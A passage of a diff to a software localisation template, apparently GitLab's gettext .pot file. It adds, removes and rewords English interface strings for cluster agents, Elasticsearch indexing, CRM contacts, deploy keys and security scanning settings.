+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1936,9 +1971,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2008,6 +2040,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2053,9 +2088,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2098,7 +2130,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2107,7 +2139,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2203,6 +2235,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2269,7 +2304,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2806,19 +2841,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3409,9 +3453,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3439,6 +3480,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3598,6 +3642,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3779,6 +3826,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3818,6 +3868,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3860,9 +3913,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3875,9 +3925,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -3933,6 +3980,9 @@ msgid "ApplicationSettings|Approve %d user"
msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -3940,6 +3990,9 @@ msgid "ApplicationSettings|By making this change, you will automatically approve
msgid_plural "ApplicationSettings|By making this change, you will automatically approve %d users with the pending approval status."
msgstr[0] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4347,6 +4400,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4549,6 +4605,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4644,6 +4703,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5292,6 +5354,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5368,6 +5433,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5377,12 +5445,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5395,6 +5472,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5484,6 +5564,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5496,6 +5579,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5787,10 +5873,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5799,6 +5888,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6043,6 +6135,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6337,10 +6432,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6391,9 +6486,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6406,6 +6498,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6469,10 +6564,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6533,6 +6628,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6546,9 +6644,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6747,9 +6842,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7047,6 +7139,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7089,6 +7184,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7131,12 +7229,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7158,16 +7250,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7179,9 +7286,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7191,6 +7319,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7200,28 +7331,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7233,6 +7367,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7245,60 +7382,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7440,15 +7595,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7575,9 +7733,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7623,12 +7778,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7650,9 +7799,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -7953,6 +8099,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8007,6 +8156,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8064,9 +8216,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8103,6 +8252,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8527,6 +8679,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8539,6 +8697,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8578,9 +8739,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9289,7 +9447,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9445,6 +9603,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9604,6 +9765,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9637,9 +9801,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9859,6 +10020,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10245,6 +10436,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -10891,6 +11085,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -10912,6 +11109,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -10966,9 +11166,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11014,6 +11211,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11128,6 +11331,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11143,19 +11349,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11392,9 +11604,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11622,7 +11831,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -11886,6 +12095,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12052,6 +12264,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12142,9 +12357,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12178,6 +12390,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12256,9 +12471,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12352,6 +12573,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12367,6 +12591,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12388,6 +12615,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12487,9 +12717,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12541,6 +12768,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12562,6 +12792,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12634,6 +12867,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12808,6 +13044,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12890,16 +13132,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13139,9 +13378,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13190,9 +13426,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
